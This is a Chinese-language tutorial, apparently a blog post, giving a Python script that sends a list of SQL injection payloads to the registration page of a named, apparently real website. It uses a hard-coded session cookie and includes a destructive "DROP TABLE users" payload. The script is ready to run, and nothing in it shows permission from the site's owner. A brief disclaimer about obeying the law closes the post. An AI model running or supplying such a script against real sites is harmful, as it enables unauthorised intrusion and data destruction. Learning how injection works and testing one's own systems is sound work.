代码说明
我们将目标 URL 设置为一个网站的注册页面,同时定义了一些通常的 SQL 注入负载。在脚本中,我们将对每个负载进行测试,看看是否能够成功注入,并捕获相应的异常。
1. 配置参数
首先,我们需要定义目标 URL 和初始查询参数。在这里,我们假设查询参数的名称为 name。
python
1
2
3
4
5
6
7
8
import requests
from urllib.parse import urlencode
# 配置参数
url = 'http://gudaju.top/index/Login/register.html' # 目标 URL
params = {
'name': 'aaa' # 正常情况下的查询参数
}
2. SQL 注入负载
我们定义了一些常见的 SQL 注入负载。它们的目的是通过不同的方式来尝试破坏数据库的正常逻辑。
python
1
2
3
4
5
6
7
8
9
10
11
# 常见的 SQL 注入负载
sql_injection_payloads = [
"' OR '1'='1", # 通用的布尔值注入
"' OR '1'='1' -- ", # 带注释的布尔值注入
"'; DROP TABLE users; --", # SQL 注入破坏性测试
"' OR 1=1 --", # 单引号注释
'" OR 1=1 --', # 双引号注释
"' OR 'a'='a", # 字符串布尔值注入
"' OR 'a'='a' --", # 带注释的字符串布尔值注入
"' OR 'a'='a' #" # 井号注释
]
3. 发送请求并检测响应
接下来,我们使用一个循环,对每个注入负载构建带有注入内容的参数,并发送请求。我们准备好查看HTTP响应的状态码和内容,以判断是否存在漏洞。
python
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# 发送请求并检查响应
for payload in sql_injection_payloads:
# 构造带有 SQL 注入负载的参数
injection_params = params.copy()
injection_params['name'] = params['name'] + payload
# 构造完整的 URL
injection_url = f"{url}?{urlencode(injection_params)}"
print(f"正在测试负载: {payload}")
print(f"完整 URL: {injection_url}")
try:
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36',
'Cookie': 'PHPSESSID=4d2085664010d51af9a81238306f69a2'
}
# 发送 HTTP GET 请求
response = requests.post(injection_url, headers=headers)
# 打印响应的状态码和长度
print(f"响应状态码: {response.status_code}")
print(f"响应长度: {len(response.text)} 字符")
print(f"响应内容: {response.text} 字符")
# 检查响应内容中是否有常见的 SQL 错误信息
if "error" in response.text.lower() or "sql" in response.text.lower():
print("[!] 可能存在 SQL 注入漏洞!")
else:
print("[+] 没有检测到明显的 SQL 注入漏洞。")
print("=" * 80)
except Exception as e:
print(f"测试过程中发生错误: {e}")
print("测试完成。")
4. 结果分析
每次发送请求后,程序将根据响应的状态码和返回内容来判断是否存在潜在的 SQL 注入漏洞。如果发现包含 "error" 或 "sql" 的信息,将提示可能的漏洞。
结语
这个脚本提供了一个基础的 SQL 注入检测机制。虽然它不能替代专业的安全测试工具,但对于理解SQL注入的原理有很大的帮助。在实际应用中,请务必遵循法律法规,尊重他人的隐私和资料安全。





评论
登录后即可评论
分享你的想法,与作者互动
暂无评论